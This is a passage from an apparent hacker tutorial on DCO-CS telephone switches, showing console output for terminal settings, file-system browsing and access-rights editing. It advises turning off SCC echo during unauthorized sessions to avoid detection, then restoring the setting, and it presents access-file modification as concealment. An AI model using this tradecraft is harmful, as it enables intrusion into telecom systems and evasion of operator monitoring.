(FUNC=HELP) > RESTRICTION SEC> GROUP NUMBER (GROUP=HELP) > 1 CURRENT RESTRICTION WORD: GRP# GRP NAME RESTRICTION WORD 15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC ------------------------------------------------------------- 1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 SEC> RESTRICTION WORD (VALUE=HELP) > 0 - 65535 ANY BIT CONFIGURATION OF WORD SETATT allows a user to set numerous terminal options, one of which is particularly significant as pertains to the concealment and hence preservation of one's access. SEC> FUNCTION (FUNC=HELP) > SETATT SEC> TTY NUMBER (TTY=HELP) > 01 SEC> OUTPUT NULLS (NULL=YES) > SEC> OUTPUT PRIORITY (PRIORITY=NO) > SEC> VT RESTRICTED (VTREST=NO) > SEC> ECHO I/O TO SCC (SCC_ECHO=NO) > SEC> INTER CHARACTER TIMING (INTCHAR TIME=YES) > SEC> IDLE TERMINAL LOGOFF (IDLE TIME=NO) > SEC> PAGINATED OUTPUT (PAGOUT =NO) > SEC> SEND EOM TO TERMINAL (EOM=YES) > SEC> TERMINAL LIMIT (LIMIT =0) > SCC_ECHO may be set to "YES" or "NO" depending upon the individual configurations of different TTYs, but it should certainly be set to "NO" during unauthorized usage-otherwise, input and output through the terminal will be echoed to the SCC, and, due to the heavy monitoring thereof, one's access will be likely detected quickly and terminated, at best, rather quickly! If this was set for a particular TTY, though, an alteration of it might be noticed soon thereafter and thought suspicious; it is therefore advisable, if SCC_ECHO was set to "YES", to turn it off during one's session of system use and set it back to its original state prior to logging off. Then again, if this option was set for a single TTY, it might be wise simply to login from another if possible, for at least a minimal amount of preliminary I/O would be echoed to the SCC prior to deactivation of that feature. Exploration of the File System with $FILSYS- The filesystem of the DCO-CS is accessible through the $FILSYS utility, from which directories may be traversed, various forms of the disk directory printed, access rights displayed and modified, etc. The functions/options of FILSYS are as follows: FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS - CHANGE ACCESS RIGHTS ATTRIB - LIST ALL FILES W/ THE SPECIFIED ATTRIBUTE BACKUP - BACKUP DISK BADBLK - GET A BAD BLOCK REPORT BLKEDT - EDIT DISK BLOCKS COMPARE - COMPARE TWO FILES COMPRESS - COMPRESS A DISK COPY - COPY FILES CP_COMPRESS - COMPRESS CP PROGRAM FILE CWD - CHANGE WORKING DIRECTORY DB_COMPRESS - COMPRESS CP DATABASE FILE DELETE - DELETE FILE DIR - DISK DIRECTORY DSKCMP - DISK COMPARE FDIR - FULL DISK DIRECTORY FORMAT - FORMAT A DISK FREE - GET FREESPACE INFORMATION FOR A DISK HDEDIT - EDIT PROGRAM HEADER MKDIR - MAKE A SUB-DIRECTORY MKFS - MAKE A FILESYSTEM MKTAPE - MAKE A DCO TAPE FILESYSTEM FIL> ADDITIONAL HELP (MORE=YES) > MOVE - MOVE A FILE FROM ONE DIRECTORY TO ANOTHER RENAME - RENAME FILES SCHEDULE - SCHEDULE DSKMGR TO RUN SDIR - SHORT DISK DIRECTORY SFDIR - SHORT FULL DISK DIRECTORY TYPE - PRINT TEXT FILE CONTENTS VOLCHG - CHANGE A VOLUME LABEL As stated previously, the DCO-CS filesystem is divided into many directories and sub-directories beginning with the /ROOT/ directory. The file attributes that may be input at ATTRIB are: FIL> ENTER ATTRIB (ATTRIB=HELP) > ABCPSU - ABORT TASK ON CPSU ABSWO - ABORT TASK ON A/B SWITCHOVER CCHOFF - TASK RUNS WITH CACHE OFF CP1SYS - SINGLE COPY ALLOWED PER SYSTEM CP1TTY - SINGLE COPY PER TERMINAL ALLOWED DBFILE - DATA BASE FILE DCCNTL - UNDER DIAGNOSTIC CONTROL INCSWO - INHIBITS MP CONTROLLED SWITCHOVER INDSPA - TASK HAS SEPARATE I AND D SPACE INSTLL - TASK MAY BE INSTALLED INTACT - TASK IS INTERACTIVE KTASK - KERNAL TASK MEMSEG - TASK IS MEMORY RESIDENT SEGMENTED MRDATA - MEMORY RESIDENT DATA BASE NOABRT - DO NOT ALLOW ABORT OF TASK NOINTS - TASK RUNS WITH INTERRUPTS OFF NONMAN - NO MANUAL INITIATION OR ABORT ALLOWED NOSTAT - NO PRINT IN ACT STAT LIST IF BLOCKED QUEREQ - QUEUE REQUEST IF TASK ACTIVE RBOABR - RE-BOOT ON ABORT RESCED - RESCHEDULE TASK IF ABORTED FIL> ADDITIONAL HELP (MORE=YES) > SEGMNT - SEGMENTED TASK SGUMAP - UNMAP UNUSED MEMORY AFTER SEGMENT LOAD SHRMEM - SHARE MEMORY IF TASK ACTIVE STKCON - ALLOCATE STACK CONTIGUOUS TO PROGRAM STKHI - ALLOCATE STACK FROM UPPER PAR AVAILABLE Blocks of memory on the disk may be manually edited with BLKEDT (the $MEMMAP utility displays block numbers, types, sizes, and names): FIL> ENTER DEVICE (DEVICE=HELP) > SY FIL> ENTER BLOCK (BLOCK=HELP) > VALID BLOCKS ARE OCTAL NUMBERS FROM 0 TO THE MAXIMUM FOR THIS DEVICE. FIL> ENTER BLOCK (BLOCK=HELP) > 0 LOCATION: 000000 000002 000004 000006 000010 000012 000014 000016 VALUE: 000240 000402 000042 000340 106427 000340 010167 000602 FIL> NEW VALUE: HELP ADV - ADVANCE TO NEXT 8 WORDS OF BLOCK BCK - BACKUP TO PREVIOUS 8 WORDS OF BLOCK EXIT - EXIT BLKEDT WITHOUT DISK UPDATE DONE - DONE, UPDATE BLOCK TO DISK OCTAL NUMBERS RANGING FROM 0 TO 177777 DIR, FDIR, SDIR, and SFDIR all display in some fashion the disk directory. DIR displays the components of the directory in the following format: FIL> ENTER FUNCTION (FUNC=HELP) > DIR FIL> ENTER FILENAME (FILE=HELP) > ANY FILENAME FIL> ENTER FILENAME (FILE=HELP) > / FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR /ROOT/ BITMAP FRSP AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX /ROOT/AMPPAT/ T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000002 0000 0 00XXXXXX P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000367 0000 0 00XXXXXX P0068_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000306 0000 0 00XXXXXX P0070_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000764 0000 0 00XXXXXX P0119_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000002501 0000 0 00XXXXXX The filename, file type, creation date, date of last change, file size, priority, and address on the hard disk are displayed. The two file types are DIR (directory) and P/D (program, .txt file, .dat file, etc.). FDIR (Full Disk Directory) displays a few more aspects of files examined: FIL> ENTER FUNCTION (FUNC=DIR) > FDIR FIL> ENTER FILENAME (FILE=ROOT/) > FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR /ROOT/ BITMAP FRSP AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX ACCESS - (MAINT ,RWX) EXTENTS - 71(1.) /ROOT/AMPPAT/ T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000001 0000 0 00XXXXXX ACCESS - (MAINT ,RWX) EXTENTS - 14304(1.) P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000376 0000 0 00XXXXXX ACCESS - (ADMIN ,RW),(TMRS ,RW),(STATUS,RW),(MAINT ,RW) (SECURE,RW),(NAC ,RW),(ESPF,RW) EXTENTS - 212753(5.) In addition to the attributes displayed with DIR, with FDIR the access rights and extents of the files are displayed. Access rights are displayed in the format (GROUP, ABC) where ABC is populated with R (read), W (write), and/or X (execute). SDIR will only display subdirectories within the directory initially given (if a directory is initially provided) in the minimal DIR format. If a subdirectory containing P/D files is entered, the attributes of those files will be printed in the single-line minimal format as well. SFDIR will display the directories in the "full format" (with access and extents) before the P/D files, as does SDIR. Access rights are modified through ACCESS: FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS FIL> ENTER FILENAME (FILE=HELP) > FILENAME FIL> ENTER FUNCTION (FUNCTION=HELP) > ADD - ADD ACCESS RIGHTS DELETE - DELETE ACCESS RIGHTS LIST - LIST ACCESS RIGHTS FIL> ENTER FUNCTION (FUNCTION=HELP) > LIST GROUP RIGHTS ----- ------ ADMIN R TMRS R STATUS R MAINT R SECURE R NAC R ESPF R SCAT RW FIL> ENTER FUNCTION (FUNCTION=LIST) > ADD FIL> GROUP (GROUP=HELP) > ENTER ANY OF THE FOLLOWING GROUP NAMES ADMIN TMRS STATUS MAINT SECURE NAC ESPF SPARE1 SPARE2 SPARE3 SPARE4 SPARE5 SPARE6 SPARE7 SPARE8 SCAT DONE - UPDATE FILE ACCESS RIGHTS ON DISK The setting of access rights through FILSYS will alter the access rights stored in the file PTL.TXT, which may also be modified alternately and directly as discussed in the next section. PTL Modification- To comprehend this concealment technique it is necessary to possess an understanding of the derivation of access rights in the file system. Occasionally (or often, depending upon the utilities used and the account logged on) the curious hacker/phreak will find that the "INSUFFICENT ACCESS RIGHTS" message will be displayed at attempts to invoke particular programs/utilities or to view certain files. Even using the disk directory options/functions of the $FILSYS utility it will be observed that information for certain files is irretrievable due to insufficient access. The inevitable question then arises as to where all of these access rights are defined. Rewarded is the hacker who considers this sort of question-the context of DCO exploration is no exception. Access rights and many other attributes are defined and stored in an ASCII text file named PTL.TXT, (access rights are merely a tertiary option) in the /ROOT/ directory, appropriately entitled the Prioritized Task List-the PTL is the very heart of the filesystem on a DCO-CS. At the beginning of the PTL all options and the format of entries are explained: *************************************************************************** !***** RELEASE OCC150 DEVELOPMENT PRIORITIZED TASK LIST ******************* !************************************************************************** ! ! ! ! ! The PRIORITIZED TASK LIST is free format ASCII text file. Any line that ! begins with an exclamation point(!) is assumed to be a comment, all other ! lines are assumed to be data lines. If a data line ends with a dash(-)the ! next line is used to continue the line. A data line may be no more than ! 1000 characters in length. Since this file is free format multiple blanks ! or tabs are treated as a single space. ! ! The PTL defines the list of tasks contained in a given release and the ! desired order in which to place the tasks on the disk. The PTL also ! defines the options, the processor type, and the values of the CP ! switches, e.g.: file type, access rights. ! ! A data line consists of the DCO file specification followed by optional ! switch modifiers. ! !--------------------- BEGIN SWITCH DEFINITIONS ------------------------- ! ! -proc the processor type. This is used to determine the ! search rules for the file. ! ! -input the input file name. If this switch is NOT given the ! input file name is derived from the output file ! specification. If the output file specification does ! NOT have an extension, an extension of .DTC is used. ! [EG: -INPUT STD.H] ! ! -for